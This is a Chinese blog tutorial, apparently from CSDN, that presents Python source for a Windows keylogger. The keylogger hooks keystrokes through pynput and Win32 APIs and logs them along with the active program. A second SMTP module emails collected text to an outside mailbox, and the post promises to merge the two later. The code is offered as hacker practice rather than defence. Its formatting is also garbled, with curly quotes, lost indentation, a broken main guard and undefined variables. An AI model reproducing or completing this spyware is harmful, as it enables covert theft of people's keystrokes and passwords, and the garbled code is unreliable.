使用Python实现键盘记录器和邮箱自动通知

键盘记录器

参考

  《python:搞事情!键盘记录并截屏》,
地址https://baijiahao.baidu.com/s?id=1672705522702921685&wfr=spider&for=pc

  《Python通过SMTP发送邮件总是验证失败》,
地址https://segmentfault.com/q/1010000003802498

前言
  让人感到为难的,是找不到实验笔记。
  虽然在服务器上搭建过hexo,但自从被误删之后,就习惯于在本地保存笔记。经历多次花费时间和心情的寻找之后,才会进化。

正文
  键盘记录器是许多黑客入门的玩具。
实验环境:编程环境Python3.7.6。操作系统Windows 10 专业版。

原理
  hook程序:本质是通过系统调用,把该程序挂入系统指令,hook程序可以截获特定消息,经过加工后重放或中止传递。
  键盘hook:可以监控键盘操作。键盘hook,可以截获键盘消息,全局钩子可以捕获Win平台下任意窗口的键盘操作。
  系统调用函数:键盘记录使用user32.dll创建SetWindowsExA()函数,将特定指针注册到Hook Chain中,记录到来的键盘消息,并完成其他函数操作(比如截屏)。

(1)键盘记录器-模块实现

# 键盘记录

from pynput.keyboard import Listener
from ctypes import *
from PIL import ImageGrab
import datetime

keyboard = Listener()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi

获取进程名称

def get():
  hwnd = user32.GetForegroundWindow()
  pid = c_ulong(0)
  user32.GetWindowThreadProcessId(hwnd, byref(pid))
  executable = create_string_buffer(512)
  h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
  psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
  windows_title = create_string_buffer(512)
  kernel32.CloseHandle(hwnd)
  kernel32.CloseHandle(h_process)
  return executable.value + windows_title.value

def press(key):
  with open(‘D:\1\keyboard.txt’, ‘a+’) as f:
  try:
    f.write(str(datetime.datetime.now()) + “键盘输入:”)
    f.write(str(key.char)+’- 当前使用程序:’)
    f.write(str(get())+’\n’)
  except AttributeError:
    f.write(str(key)+’ ‘)
    f.write(str(get())+’\n’)
if name == ‘main’:
# 键盘记录
  with Listener(on_press=press) as listener:
  listener.join()

运行效果:
在这里插入图片描述

(2)发送邮箱-模块实现

  使用QQ邮箱自动登录并发送邮件,要开启QQ邮箱的SMTP服务,申请授权码。

import os
import sys
import smtplib
from smtplib import SMTP_SSL
from email.header import Header
from email.mime.text import MIMEText

def send():
  smtp = SMTP_SSL(mailInfo[“hostname”])
  smtp.set_debuglevel(1)
  smtp.ehlo(mailInfo[“hostname”])
  smtp.login(mailInfo[“username”], mailInfo[“password”])

  msg = MIMEText(mailInfo[“mailtext”], “text”, mailInfo[“mailencoding”])
  msg[“Subject”] = Header(mailInfo[“mailsubject”], mailInfo[“mailencoding”])
  msg[“from”] = mailInfo[“from”]
  msg[“to”] = mailInfo[“to”]
  smtp.sendmail(mailInfo[“from”], mailInfo[“to”], msg.as_string())
  smtp.quit()

if name == ‘main’:
  mailInfo = {
  “from”: “send_mail@qq.com”,
  “to”: “accept_mail@163.com”,
  “hostname”: “smtp.qq.com”,
  “username”: “send_mail@qq.com”,
  “password”: “SMTP授权码”,
  “mailsubject”: “this is test”,
  “mailtext”: text,
  “mailencoding”: “utf-8”
  }
  send()
在这里插入图片描述
模块运行效果:
在这里插入图片描述

(3)模块合并

  且听下回分解。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值